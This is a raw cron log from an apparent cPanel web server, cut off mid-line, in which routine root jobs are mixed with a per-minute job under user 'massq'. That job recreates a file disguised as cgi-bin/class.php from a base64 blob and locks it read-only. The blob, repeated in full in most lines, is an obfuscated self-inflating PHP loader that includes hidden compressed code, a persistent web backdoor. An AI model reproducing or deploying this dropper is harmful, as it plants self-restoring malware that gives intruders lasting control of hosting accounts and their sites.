Apr 11 02:02:01 server CROND[2079]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:03:01 server CROND[2136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:04:01 server CROND[2221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:05:01 server CROND[2304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:05:01 server CROND[2306]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:05:01 server CROND[2307]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:05:01 server CROND[2308]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 02:05:01 server CROND[2305]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 11 02:06:01 server CROND[2529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:07:01 server CROND[2601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:08:01 server CROND[2667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:09:01 server CROND[2738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:09:01 server CROND[2739]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 02:10:01 server CROND[2810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 02:10:01 server CROND[2811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:10:01 server CROND[2812]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 02:10:01 server CROND[2813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:11:01 server CROND[3034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:12:01 server CROND[3092]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 02:12:01 server CROND[3093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:13:01 server CROND[3187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:14:01 server CROND[3268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 02:15:01 server CROND[3358]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 02:15:01 server CROND[3359]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 02:15:01 server CROND[3360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1